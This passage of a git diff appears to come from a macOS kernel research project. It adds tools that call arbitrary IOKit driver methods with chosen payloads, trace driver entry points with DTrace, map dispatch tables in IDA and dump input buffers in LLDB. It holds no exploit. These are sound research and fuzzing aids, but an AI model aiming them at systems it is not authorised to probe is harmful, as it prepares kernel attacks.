const io_service_t driver_service = find_driver_service(args->driver_name);
|
||||
if (driver_service == MACH_PORT_NULL) {
|
||||
log_with_args("Driver service '%s' not found.", args->driver_name);
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
const io_connect_t client = get_driver_connection_handle(driver_service, args->driver_name, args->conn_type);
|
||||
if (client == MACH_PORT_NULL) {
|
||||
IOObjectRelease(driver_service);
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
void* input_buffer = NULL;
|
||||
size_t input_size = args->input_size;
|
||||
if (args->file_name) {
|
||||
FILE* file = fopen(args->file_name, "rb");
|
||||
if (file) {
|
||||
fseek(file, 0, SEEK_END);
|
||||
input_size = ftell(file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
input_buffer = calloc(1, input_size);
|
||||
if (input_buffer) fread(input_buffer, 1, input_size, file);
|
||||
fclose(file);
|
||||
}
|
||||
} else if (args->byte_payload) {
|
||||
char* bp_copy = strdup(args->byte_payload);
|
||||
char* p = bp_copy;
|
||||
size_t count = 0;
|
||||
while (*p) {
|
||||
if (*p != ' ' && (p == bp_copy || *(p-1) == ' ')) count++;
|
||||
p++;
|
||||
}
|
||||
input_size = count;
|
||||
input_buffer = calloc(1, input_size);
|
||||
p = bp_copy;
|
||||
size_t idx = 0;
|
||||
while(idx < input_size) {
|
||||
char* next;
|
||||
((unsigned char*)input_buffer)[idx++] = (unsigned char)strtol(p, &next, 16);
|
||||
p = next;
|
||||
while(*p == ' ') p++;
|
||||
}
|
||||
free(bp_copy);
|
||||
} else if (args->payload) {
|
||||
input_size = strlen(args->payload);
|
||||
input_buffer = calloc(1, input_size + 1);
|
||||
if (input_buffer) memcpy(input_buffer, args->payload, input_size);
|
||||
} else if (input_size > 0) {
|
||||
input_buffer = calloc(1, input_size);
|
||||
}
|
||||
|
||||
size_t scalar_output_count = args->scalar_out_size;
|
||||
uint64_t* scalar_output = (scalar_output_count > 0) ? calloc(scalar_output_count, sizeof(uint64_t)) : NULL;
|
||||
size_t output_size = args->output_size;
|
||||
void* output_buffer = (output_size > 0) ? calloc(1, output_size) : NULL;
|
||||
|
||||
uint32_t scalar_output_count_32 = scalar_output_count;
|
||||
kern_return_t result = IOConnectCallMethod(client, args->method, args->scalar_input, args->scalar_in_size, input_buffer, input_size, scalar_output, &scalar_output_count_32, output_buffer, &output_size);
|
||||
|
||||
log_event_with_scalars("VERIFY", args, result, output_buffer, output_size, scalar_output, scalar_output_count_32, input_buffer, input_size);
|
||||
|
||||
free(input_buffer);
|
||||
free(output_buffer);
|
||||
free(scalar_output);
|
||||
IOServiceClose(client);
|
||||
IOObjectRelease(driver_service);
|
||||
return result;
|
||||
}
|
||||
|
||||
void print_usage(const char* prog_name) {
|
||||
printf("Usage: %s -n <name> (-m <method> | -y <spec>) [options]\n", prog_name);
|
||||
printf("Options:\n");
|
||||
printf(" -n <name> Target driver class name (required).\n");
|
||||
printf(" -t <type> Connection type (default: 0).\n");
|
||||
printf(" -m <id> Method selector ID.\n");
|
||||
printf(" -y <spec> Specify method and buffer sizes in one string.\n");
|
||||
printf(" Format: \"ID: [IN_SCA, IN_STR, OUT_SCA, OUT_STR]\"\n");
|
||||
printf(" Example: -y \"0: [0, 96, 0, 96]\"\n");
|
||||
printf(" -p <string> Payload as a string.\n");
|
||||
printf(" -f <file> File path for payload.\n");
|
||||
printf(" -b <hex_str> Space-separated hex string payload.\n");
|
||||
printf(" -i <size> Input buffer size (ignored if -y is used).\n");
|
||||
printf(" -o <size> Output buffer size (ignored if -y is used).\n");
|
||||
printf(" -s <value> Scalar input (uint64_t). Can be specified multiple times.\n");
|
||||
printf(" -S <count> Scalar output count (ignored if -y is used).\n");
|
||||
printf(" -h Show this help message.\n");
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
verify_args_t args = {0};
|
||||
int opt;
|
||||
uint64_t scalar_inputs[16] = {0};
|
||||
size_t scalar_input_idx = 0;
|
||||
bool method_is_set = false;
|
||||
bool y_flag_used = false;
|
||||
|
||||
while ((opt = getopt(argc, argv, "hn:t:m:p:f:b:i:o:s:S:y:")) != -1) {
|
||||
switch (opt) {
|
||||
case 'h': print_usage(argv[0]); return 0;
|
||||
case 'n': args.driver_name = optarg; break;
|
||||
case 't': args.conn_type = strtoull(optarg, NULL, 0); break;
|
||||
case 'm': args.method = strtoull(optarg, NULL, 0); method_is_set = true; break;
|
||||
case 'y': {
|
||||
y_flag_used = true;
|
||||
unsigned long long m, si, is, so, os;
|
||||
int items = sscanf(optarg, "%llu : [ %llu , %llu , %llu , %llu ]", &m, &si, &is, &so, &os);
|
||||
if (items == 5) { // Adding Scalar In/Out count checks - can't be more than 16
|
||||
if (si > IOKIT_MAX_SCALAR_COUNT) {
|
||||
fprintf(stderr, "Error: Scalar input count %llu exceeds IOKit maximum of %d.\n", si, IOKIT_MAX_SCALAR_COUNT);
|
||||
return 1;
|
||||
}
|
||||
if (so > IOKIT_MAX_SCALAR_COUNT) {
|
||||
fprintf(stderr, "Error: Scalar output count %llu exceeds IOKit maximum of %d.\n", so, IOKIT_MAX_SCALAR_COUNT);
|
||||
return 1;
|
||||
}
|
||||
args.method = m;
|
||||
args.scalar_in_size = si;
|
||||
args.input_size = is;
|
||||
args.scalar_out_size = so;
|
||||
args.output_size = os;
|
||||
method_is_set = true;
|
||||
} else {
|
||||
fprintf(stderr, "Error: Invalid format for -y. Use 'ID: [sc_in, st_in, sc_out, st_out]'.\n");
|
||||
return 1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'p': args.payload = optarg; break;
|
||||
case 'f': args.file_name = optarg; break;
|
||||
case 'b': args.byte_payload = optarg; break;
|
||||
case 'i': if (!y_flag_used) args.input_size = strtoull(optarg, NULL, 0); break;
|
||||
case 'o': if (!y_flag_used) args.output_size = strtoull(optarg, NULL, 0); break;
|
||||
case 's': // Adding Scalar In count checks - can't be more than 16
|
||||
if (scalar_input_idx < IOKIT_MAX_SCALAR_COUNT) {
|
||||
scalar_inputs[scalar_input_idx++] = strtoull(optarg, NULL, 0);
|
||||
} else {
|
||||
fprintf(stderr, "Exceeded IOKit maximum of %d scalar inputs.\n", IOKIT_MAX_SCALAR_COUNT);
|
||||
}
|
||||
break;
|
||||
case 'S': if (!y_flag_used) args.scalar_out_size = strtoull(optarg, NULL, 0); break;
|
||||
default: print_usage(argv[0]); return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (!args.driver_name || !method_is_set) {
|
||||
fprintf(stderr, "Error: Driver name (-n) and method ID (-m or -y) are required.\n");
|
||||
print_usage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (y_flag_used) {
|
||||
if (scalar_input_idx > args.scalar_in_size) {
|
||||
fprintf(stderr, "Warning: More scalars via -s (%zu) than in -y (%zu). Extra values ignored.\n", scalar_input_idx, args.scalar_in_size);
|
||||
} else if (scalar_input_idx < args.scalar_in_size) {
|
||||
fprintf(stderr, "Warning: Fewer scalars via -s (%zu) than in -y (%zu). Remaining values zeroed.\n", scalar_input_idx, args.scalar_in_size);
|
||||
}
|
||||
} else {
|
||||
args.scalar_in_size = scalar_input_idx;
|
||||
}
|
||||
|
||||
args.scalar_input = scalar_inputs;
|
||||
|
||||
printf("Starting verification for driver: %s\n", args.driver_name);
|
||||
verify_driver_communication(&args);
|
||||
|
||||
return 0;
|
||||
}
|
||||
149
X. NU/custom/drivers/dtrace_NewUserClient.py
Executable file
149
X. NU/custom/drivers/dtrace_NewUserClient.py
Executable file
@@ -0,0 +1,149 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
dtrace_NewUserClient.py
|
||||
|
||||
A script to trace all kernel newUserClient calls using DTrace on macOS.
|
||||
Prints the PID, full executable path, demangled kernel function name, and user call stack for each event.
|
||||
|
||||
Requirements:
|
||||
- Must be run as root (sudo).
|
||||
- System Integrity Protection (SIP) must be disabled for DTrace to work on macOS.
|
||||
- Tested on macOS with DTrace and c++filt available.
|
||||
|
||||
Usage:
|
||||
1. Make the script executable:
|
||||
chmod +x dtrace_NewUserClient.py
|
||||
2. Run with sudo:
|
||||
sudo ./dtrace_NewUserClient.py
|
||||
3. Press CTRL+C to stop tracing gracefully.
|
||||
|
||||
Output:
|
||||
For each newUserClient call, prints:
|
||||
- PID
|
||||
- Executable path
|
||||
- Demangled kernel function name
|
||||
- User call stack
|
||||
|
||||
Graceful termination is handled via signal (SIGINT/SIGTERM).
|
||||
"""
|
||||
|
||||
import subprocess
|
||||
import sys
|
||||
import signal
|
||||
import os
|
||||
import threading
|
||||
|
||||
def main():
|
||||
"""
|
||||
Runs dtrace to find newUserClient calls, captures the user stack,
|
||||
and formats the output to include PID, full path, the demangled
|
||||
kernel function name, and the call stack. Includes a robust signal
|
||||
handler for graceful termination.
|
||||
"""
|
||||
if os.getuid() != 0:
|
||||
print("This script requires root privileges. Please run with sudo.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
dtrace_script = (
|
||||
"fbt::*NewUserClient*:entry, "
|
||||
"fbt::*newUserClient*:entry"
|
||||
"{"
|
||||
" printf(\"DTRACE_EVENT|%d|%s|%s\\n\", pid, execname, probefunc);"
|
||||
" ustack();"
|
||||
" printf(\"DTRACE_END_EVENT\\n\");"
|
||||
"}"
|
||||
)
|
||||
|
||||
dtrace_command = ["sudo", "dtrace", "-x", "switchrate=10hz", "-qn", dtrace_script]
|
||||
|
||||
# Use preexec_fn=os.setsid to run dtrace in its own process group.
|
||||
# This prevents signals sent to the script from being forwarded to dtrace,
|
||||
# and vice-versa, providing better isolation.
|
||||
proc = subprocess.Popen(
|
||||
dtrace_command,
|
||||
stdout=subprocess.PIPE,
|
||||
text=True,
|
||||
bufsize=1,
|
||||
preexec_fn=os.setsid,
|
||||
errors="replace" # <-- Add this argument to handle decode errors
|
||||
)
|
||||
|
||||
# Use a thread-safe event to ensure the signal handler logic runs only once.
|
||||
stop_event = threading.Event()
|
||||
|
||||
def signal_handler(sig, frame):
|
||||
if stop_event.is_set():
|
||||
return # Already handling signal
|
||||
stop_event.set()
|
||||
|
||||
print("\nStopping dtrace...", file=sys.stderr)
|
||||
try:
|
||||
# Terminate the process group started by setsid
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
|
||||
proc.wait(timeout=5)
|
||||
except (ProcessLookupError, subprocess.TimeoutExpired):
|
||||
try:
|
||||
proc.kill() # Force kill if terminate fails
|
||||
except ProcessLookupError:
|
||||
pass # Process already gone
|
||||
sys.exit(0)
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
signal.signal(signal.SIGTERM, signal_handler)
|
||||
|
||||
try:
|
||||
output_iterator = iter(proc.stdout.readline, '')
|
||||
for line in output_iterator:
|
||||
# Exit loop if the signal handler has been triggered
|
||||
if stop_event.is_set():
|
||||
break
|
||||
|
||||
if not line.startswith("DTRACE_EVENT|"):
|
||||
continue
|
||||
|
||||
parts = line.split('|', 3)
|
||||
if len(parts) != 4:
|
||||
continue
|
||||
_, pid_str, execname, func_raw = parts
|
||||
|
||||
stack_trace = []
|
||||
for stack_line in output_iterator:
|
||||
if stop_event.is_set(): break
|
||||
stack_line = stack_line.strip()
|
||||
if stack_line == "DTRACE_END_EVENT": break
|
||||
stack_trace.append(stack_line)
|
||||
|
||||
if stop_event.is_set(): break
|
||||
|
||||
path = f"{execname} (process terminated before path lookup)"
|
||||
if pid_str.isdigit():
|
||||
ps_proc = subprocess.run(
|
||||
["/bin/ps", "-p", pid_str, "-o", "command="],
|
||||
capture_output=True, text=True, check=False
|
||||
)
|
||||
if ps_proc.stdout.strip():
|
||||
path = ps_proc.stdout.strip()
|
||||
|
||||
func_clean = func_raw.split(':')[0]
|
||||
symbol_to_demangle = "_" + func_clean
|
||||
demangled_proc = subprocess.run(
|
||||
["/usr/bin/c++filt"],
|
||||
input=symbol_to_demangle, capture_output=True, text=True, check=False
|
||||
)
|
||||
demangled_func = demangled_proc.stdout.strip()
|
||||
|
||||
print(f"\nPID: {pid_str}")
|
||||
print(f"Path: {path}")
|
||||
print(f"Function: {demangled_func}")
|
||||
print("--- Call Stack---")
|
||||
for stack_line in stack_trace:
|
||||
print(stack_line)
|
||||
print("-" * 40)
|
||||
sys.stdout.flush()
|
||||
|
||||
finally:
|
||||
if proc.poll() is None and not stop_event.is_set():
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
153
X. NU/custom/drivers/dtrace_externalMethod.py
Executable file
153
X. NU/custom/drivers/dtrace_externalMethod.py
Executable file
@@ -0,0 +1,153 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
dtrace_externalMethod.py
|
||||
|
||||
A script to trace kernel functions related to IOConnectCallMethod using DTrace.
|
||||
Prints the PID, full executable path, demangled kernel function name, and user
|
||||
call stack for each event.
|
||||
|
||||
Requirements:
|
||||
- Must be run as root (sudo).
|
||||
- System Integrity Protection (SIP) may need to be disabled for full
|
||||
DTrace functionality on macOS.
|
||||
|
||||
Usage:
|
||||
1. Make the script executable:
|
||||
chmod +x dtrace_externalMethod.py
|
||||
2. Run with sudo:
|
||||
sudo ./dtrace_externalMethod.py
|
||||
3. Press CTRL+C to stop tracing gracefully.
|
||||
|
||||
Output:
|
||||
For each relevant kernel call, prints:
|
||||
- PID
|
||||
- Executable path
|
||||
- Demangled kernel function name
|
||||
- User call stack
|
||||
|
||||
Graceful termination is handled via signal (SIGINT/SIGTERM).
|
||||
"""
|
||||
|
||||
import subprocess
|
||||
import sys
|
||||
import signal
|
||||
import os
|
||||
import threading
|
||||
|
||||
def main():
|
||||
"""
|
||||
Runs dtrace to find IOConnectCallMethod related calls, captures the user stack,
|
||||
and formats the output to include PID, full path, the demangled
|
||||
kernel function name, and the call stack. Includes a robust signal
|
||||
handler for graceful termination.
|
||||
"""
|
||||
if os.getuid() != 0:
|
||||
print("This script requires root privileges. Please run with sudo.", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
# DTrace script to trace kernel functions that are part of the
|
||||
# IOConnectCallMethod call chain.
|
||||
dtrace_script = (
|
||||
"fbt::*getTargetAndMethodForIndex*:entry, "
|
||||
"fbt::*externalMethod*:entry, "
|
||||
"fbt::*ExternalMethod*:entry"
|
||||
"{"
|
||||
" printf(\"DTRACE_EVENT|%d|%s|%s\\n\", pid, execname, probefunc);"
|
||||
" ustack();"
|
||||
" printf(\"DTRACE_END_EVENT\\n\");"
|
||||
"}"
|
||||
)
|
||||
|
||||
dtrace_command = ["sudo", "dtrace", "-x", "switchrate=10hz", "-qn", dtrace_script]
|
||||
|
||||
# Use preexec_fn=os.setsid to run dtrace in its own process group.
|
||||
# This prevents signals sent to the script from being forwarded to dtrace,
|
||||
# and vice-versa, providing better isolation.
|
||||
proc = subprocess.Popen(
|
||||
dtrace_command,
|
||||
stdout=subprocess.PIPE,
|
||||
text=True,
|
||||
bufsize=1,
|
||||
preexec_fn=os.setsid,
|
||||
errors="replace" # Handle decode errors gracefully
|
||||
)
|
||||
|
||||
# Use a thread-safe event to ensure the signal handler logic runs only once.
|
||||
stop_event = threading.Event()
|
||||
|
||||
def signal_handler(sig, frame):
|
||||
if stop_event.is_set():
|
||||
return # Already handling signal
|
||||
stop_event.set()
|
||||
|
||||
print("\nStopping dtrace...", file=sys.stderr)
|
||||
try:
|
||||
# Terminate the process group started by setsid
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
|
||||
proc.wait(timeout=5)
|
||||
except (ProcessLookupError, subprocess.TimeoutExpired):
|
||||
try:
|
||||
proc.kill() # Force kill if terminate fails
|
||||
except ProcessLookupError:
|
||||
pass # Process already gone
|
||||
sys.exit(0)
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
signal.signal(signal.SIGTERM, signal_handler)
|
||||
|
||||
try:
|
||||
output_iterator = iter(proc.stdout.readline, '')
|
||||
for line in output_iterator:
|
||||
# Exit loop if the signal handler has been triggered
|
||||
if stop_event.is_set():
|
||||
break
|
||||
|
||||
if not line.startswith("DTRACE_EVENT|"):
|
||||
continue
|
||||
|
||||
parts = line.split('|', 3)
|
||||
if len(parts) != 4:
|
||||
continue
|
||||
_, pid_str, execname, func_raw = parts
|
||||
|
||||
stack_trace = []
|
||||
for stack_line in output_iterator:
|
||||
if stop_event.is_set(): break
|
||||
stack_line = stack_line.strip()
|
||||
if stack_line == "DTRACE_END_EVENT": break
|
||||
stack_trace.append(stack_line)
|
||||
|
||||
if stop_event.is_set(): break
|
||||
|
||||
path = f"{execname} (process terminated before path lookup)"
|
||||
if pid_str.isdigit():
|
||||
ps_proc = subprocess.run(
|
||||
["/bin/ps", "-p", pid_str, "-o", "command="],
|
||||
capture_output=True, text=True, check=False
|
||||
)
|
||||
if ps_proc.stdout.strip():
|
||||
path = ps_proc.stdout.strip()
|
||||
|
||||
func_clean = func_raw.split(':')[0]
|
||||
symbol_to_demangle = "_" + func_clean
|
||||
demangled_proc = subprocess.run(
|
||||
["/usr/bin/c++filt"],
|
||||
input=symbol_to_demangle, capture_output=True, text=True, check=False
|
||||
)
|
||||
demangled_func = demangled_proc.stdout.strip() if demangled_proc.returncode == 0 else func_clean
|
||||
|
||||
print(f"\nPID: {pid_str}")
|
||||
print(f"Path: {path}")
|
||||
print(f"Function: {demangled_func}")
|
||||
print("--- Call Stack---")
|
||||
for stack_line in stack_trace:
|
||||
print(stack_line)
|
||||
print("-" * 40)
|
||||
sys.stdout.flush()
|
||||
|
||||
finally:
|
||||
if proc.poll() is None and not stop_event.is_set():
|
||||
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
136
X. NU/custom/drivers/format_externalmethods.py
Normal file
136
X. NU/custom/drivers/format_externalmethods.py
Normal file
@@ -0,0 +1,136 @@
|
||||
"""
|
||||
IDA script to format and analyze IOExternalMethodDispatch structures in iOS kernelcache.
|
||||
Supports both IOExternalMethodDispatch (0x18 bytes) and IOExternalMethodDispatch2022 (0x28 bytes) formats.
|
||||
|
||||
Usage in IDA Python console:
|
||||
format_external_method_array(0xFFFFFE0007DCDBD8, 16, 1) # For old format
|
||||
format_external_method_array(0xFFFFFE0007DCDBD8, 16) # For 2022 format
|
||||
|
||||
Structure formats:
|
||||
IOExternalMethodDispatch (0x18):
|
||||
0x00 - function (ptr)
|
||||
0x08 - checkScalarInputCount
|
||||
0x0C - checkStructureInputSize
|
||||
0x10 - checkScalarOutputCount
|
||||
0x14 - checkStructureOutputSize
|
||||
|
||||
IOExternalMethodDispatch2022 (0x28):
|
||||
[all fields from IOExternalMethodDispatch]
|
||||
0x18 - allowAsync
|
||||
0x20 - checkEntitlement (ptr)
|
||||
"""
|
||||
|
||||
from idaapi import *
|
||||
import ida_bytes
|
||||
import idc
|
||||
import ida_name
|
||||
|
||||
def create_external_method_dispatch_struct(struct_type=0):
|
||||
"""
|
||||
Creates IDA structure for IOExternalMethodDispatch.
|
||||
|
||||
Args:
|
||||
struct_type: 0 for IOExternalMethodDispatch2022 (0x28 bytes)
|
||||
1 for IOExternalMethodDispatch (0x18 bytes)
|
||||
Returns:
|
||||
Structure ID or -1 on failure
|
||||
"""
|
||||
struct_name = f"IOExternalMethodDispatch{2022 if struct_type == 0 else ''}"
|
||||
sid = idc.get_struc_id(struct_name)
|
||||
if sid != -1:
|
||||
return sid
|
||||
|
||||
sid = idc.add_struc(-1, struct_name, 0)
|
||||
if sid == -1:
|
||||
print("Failed to create structure")
|
||||
return -1
|
||||
|
||||
# Common fields for both types
|
||||
idc.add_struc_member(sid, "function", 0, ida_bytes.qword_flag(), -1, 8)
|
||||
idc.add_struc_member(sid, "checkScalarInputCount", 8, ida_bytes.dword_flag(), -1, 4)
|
||||
idc.add_struc_member(sid, "checkStructureInputSize", 0xC, ida_bytes.dword_flag(), -1, 4)
|
||||
idc.add_struc_member(sid, "checkScalarOutputCount", 0x10, ida_bytes.dword_flag(), -1, 4)
|
||||
idc.add_struc_member(sid, "checkStructureOutputSize", 0x14, ida_bytes.dword_flag(), -1, 4)
|
||||
|
||||
if struct_type == 0:
|
||||
# Type 0 (2022) specific fields
|
||||
idc.add_struc_member(sid, "allowAsync", 0x18, ida_bytes.byte_flag(), -1, 1)
|
||||
# Align to pointer size for checkEntitlement
|
||||
idc.add_struc_member(sid, "checkEntitlement", 0x20, ida_bytes.qword_flag(), -1, 8)
|
||||
|
||||
return sid
|
||||
|
||||
def format_external_method_array(start_addr, count, struct_type=0):
|
||||
"""
|
||||
Formats and analyzes an array of IOExternalMethodDispatch structures.
|
||||
|
||||
Args:
|
||||
start_addr: Start address of the methods array
|
||||
count: Number of entries to process
|
||||
struct_type: 0 for IOExternalMethodDispatch2022 (default)
|
||||
1 for IOExternalMethodDispatch
|
||||
"""
|
||||
sid = create_external_method_dispatch_struct(struct_type)
|
||||
if sid == -1:
|
||||
return
|
||||
|
||||
struct_size = 0x28 if struct_type == 0 else 0x18
|
||||
|
||||
for i in range(count):
|
||||
current_addr = start_addr + (i * struct_size)
|
||||
|
||||
# Create structure instance
|
||||
idc.create_struct(current_addr, struct_size, f"IOExternalMethodDispatch{2022 if struct_type == 0 else ''}")
|
||||
|
||||
# Get function pointer and try to get its name
|
||||
func_ptr = idc.get_qword(current_addr)
|
||||
if func_ptr != 0:
|
||||
func_name = ida_name.get_name(func_ptr)
|
||||
if func_name:
|
||||
print(f"Entry {i}: Function = {func_name}")
|
||||
else:
|
||||
print(f"Entry {i}: Function = 0x{func_ptr:x}")
|
||||
|
||||
# Get common fields
|
||||
scalar_input = idc.get_wide_dword(current_addr + 8)
|
||||
struct_input = idc.get_wide_dword(current_addr + 0xC)
|
||||
scalar_output = idc.get_wide_dword(current_addr + 0x10)
|
||||
struct_output = idc.get_wide_dword(current_addr + 0x14)
|
||||
|
||||
print(f" ScalarInput: {scalar_input}")
|
||||
print(f" StructInput: {struct_input}")
|
||||
print(f" ScalarOutput: {scalar_output}")
|
||||
print(f" StructOutput: {struct_output}")
|
||||
|
||||
if struct_type == 0:
|
||||
# Type 0 (2022) specific fields
|
||||
allow_async = idc.get_wide_byte(current_addr + 0x18)
|
||||
entitlement = idc.get_qword(current_addr + 0x20)
|
||||
|
||||
print(f" AllowAsync: {allow_async}")
|
||||
if entitlement != 0:
|
||||
ent_str = idc.get_strlit_contents(entitlement, -1, STRTYPE_C)
|
||||
if ent_str:
|
||||
print(f" Entitlement: {ent_str.decode('utf-8')}")
|
||||
print("")
|
||||
|
||||
def main():
|
||||
if len(idc.ARGV) < 3:
|
||||
print("Usage: format_externalmethods.py <start_address> <count> [type]")
|
||||
print("In IDA: format_external_method_array(0xFFFFFE0007DCDBD8, 16, 1)")
|
||||
print("Type: 0 = IOExternalMethodDispatch2022 (0x28 bytes)")
|
||||
print(" 1 = IOExternalMethodDispatch (0x18 bytes)")
|
||||
return
|
||||
|
||||
start_addr = int(idc.ARGV[1], 16)
|
||||
count = int(idc.ARGV[2])
|
||||
struct_type = int(idc.ARGV[3]) if len(idc.ARGV) > 3 else 0
|
||||
|
||||
format_external_method_array(start_addr, count, struct_type)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
|
||||
# format_external_method_array(0xFFFFFE0007F647A0, 10)
|
||||
# format_external_method_array(0xFFFFFE0007DCDBD8, 15, 1)
|
||||
52
X. NU/custom/drivers/ifstatus.c
Normal file
52
X. NU/custom/drivers/ifstatus.c
Normal file
@@ -0,0 +1,52 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <net/if.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct ifreq ifr;
|
||||
int sockfd;
|
||||
|
||||
// Check if interface name was provided
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <interface>\n", argv[0]);
|
||||
printf("Example: %s en0\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Create a UDP socket for interface communication
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd < 0) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Clear the structure and copy interface name
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1);
|
||||
|
||||
// Get the interface flags
|
||||
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) {
|
||||
perror("ioctl");
|
||||
close(sockfd);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Print interface status
|
||||
printf("Interface %s status:\n", argv[1]);
|
||||
printf("UP: %s\n", (ifr.ifr_flags & IFF_UP) ? "yes" : "no");
|
||||
printf("RUNNING: %s\n", (ifr.ifr_flags & IFF_RUNNING) ? "yes" : "no");
|
||||
printf("LOOPBACK: %s\n", (ifr.ifr_flags & IFF_LOOPBACK) ? "yes" : "no");
|
||||
printf("POINTOPOINT: %s\n", (ifr.ifr_flags & IFF_POINTOPOINT) ? "yes" : "no");
|
||||
printf("MULTICAST: %s\n", (ifr.ifr_flags & IFF_MULTICAST) ? "yes" : "no");
|
||||
printf("BROADCAST: %s\n", (ifr.ifr_flags & IFF_BROADCAST) ? "yes" : "no");
|
||||
printf("PROMISC: %s\n", (ifr.ifr_flags & IFF_PROMISC) ? "yes" : "no");
|
||||
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
140
X. NU/custom/drivers/iokit_dump.py
Normal file
140
X. NU/custom/drivers/iokit_dump.py
Normal file
@@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env python
|
||||
import lldb
|
||||
import shlex
|
||||
|
||||
def hexdump(process, address, count):
|
||||
"""
|
||||
Generates a formatted hexdump of a memory region.
|
||||
"""
|
||||
err = lldb.SBError()
|
||||
data = process.ReadMemory(address, count, err)
|
||||
if not err.Success():
|
||||
return "error reading memory"
|
||||
|
||||
lines = []
|
||||
for i in range(0, len(data), 16):
|
||||
chunk = data[i:i+16]
|
||||
left = " ".join(f"{b:02x}" for b in chunk[0:8])
|
||||
right = " ".join(f"{b:02x}" for b in chunk[8:]) if len(chunk) > 8 else ""
|
||||
hex_str = left + (" " + right if right else "")
|
||||
ascii_str = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
|
||||
lines.append(f"{address + i:08x} {hex_str:<48s} |{ascii_str:<16s}|")
|
||||
return "\n".join(lines)
|
||||
|
||||
def format_row(typ, name, value):
|
||||
"""
|
||||
Formats a single row for the argument summary table.
|
||||
"""
|
||||
return f"{typ:<26}{name:<40}{value:>20}"
|
||||
|
||||
def iokit_dump(debugger, command, result, internal_dict):
|
||||
"""
|
||||
Main function for the 'iokit_dump' LLDB command.
|
||||
"""
|
||||
# --- Argument Parsing ---
|
||||
try:
|
||||
args = shlex.split(command)
|
||||
dump_filename = args[0] if args else None
|
||||
except Exception as e:
|
||||
result.PutCString(f"Error parsing arguments: {e}")
|
||||
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
|
||||
return
|
||||
|
||||
# --- LLDB Object Setup with validation ---
|
||||
target = debugger.GetSelectedTarget()
|
||||
if not target or not target.IsValid():
|
||||
result.PutCString("Error: No valid target selected.")
|
||||
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
|
||||
return
|
||||
|
||||
process = target.GetProcess()
|
||||
if not process or not process.IsValid():
|
||||
result.PutCString("Error: No valid process running.")
|
||||
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
|
||||
return
|
||||
|
||||
thread = process.GetSelectedThread()
|
||||
if not thread or not thread.IsValid():
|
||||
result.PutCString("Error: No valid thread selected.")
|
||||
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
|
||||
return
|
||||
|
||||
frame = thread.GetFrameAtIndex(0)
|
||||
if not frame or not frame.IsValid():
|
||||
result.PutCString("Error: Could not get the current stack frame.")
|
||||
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
|
||||
return
|
||||
|
||||
# --- Read Registers for inputStruct ---
|
||||
inputStruct_ptr = frame.FindRegister("x4").GetValueAsUnsigned()
|
||||
inputStructCnt = frame.FindRegister("x5").GetValueAsUnsigned()
|
||||
|
||||
# --- New: Dump inputStruct to a file ---
|
||||
if dump_filename:
|
||||
if not inputStruct_ptr or inputStructCnt == 0:
|
||||
result.PutCString("No inputStruct data to dump (pointer is null or size is zero).")
|
||||
result.SetStatus(0) # Use 0 for lldb.eReturnStatusSuccess
|
||||
return
|
||||
|
||||
err = lldb.SBError()
|
||||
data = process.ReadMemory(inputStruct_ptr, inputStructCnt, err)
|
||||
|
||||
if not err.Success():
|
||||
result.PutCString(f"Error reading memory for inputStruct at {hex(inputStruct_ptr)}: {err}")
|
||||
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
|
||||
return
|
||||
|
||||
try:
|
||||
with open(dump_filename, 'wb') as f:
|
||||
f.write(data)
|
||||
result.PutCString(f"Successfully dumped {inputStructCnt} bytes of inputStruct to '{dump_filename}'")
|
||||
result.SetStatus(0) # Use 0 for lldb.eReturnStatusSuccess
|
||||
except IOError as e:
|
||||
result.PutCString(f"Error writing to file '{dump_filename}': {e}")
|
||||
result.SetStatus(1) # Use 1 for lldb.eReturnStatusFailed
|
||||
return
|
||||
|
||||
# --- Original: Print formatted argument summary ---
|
||||
# Read remaining registers
|
||||
connection = frame.FindRegister("x0").GetValueAsUnsigned()
|
||||
selector = frame.FindRegister("x1").GetValueAsUnsigned()
|
||||
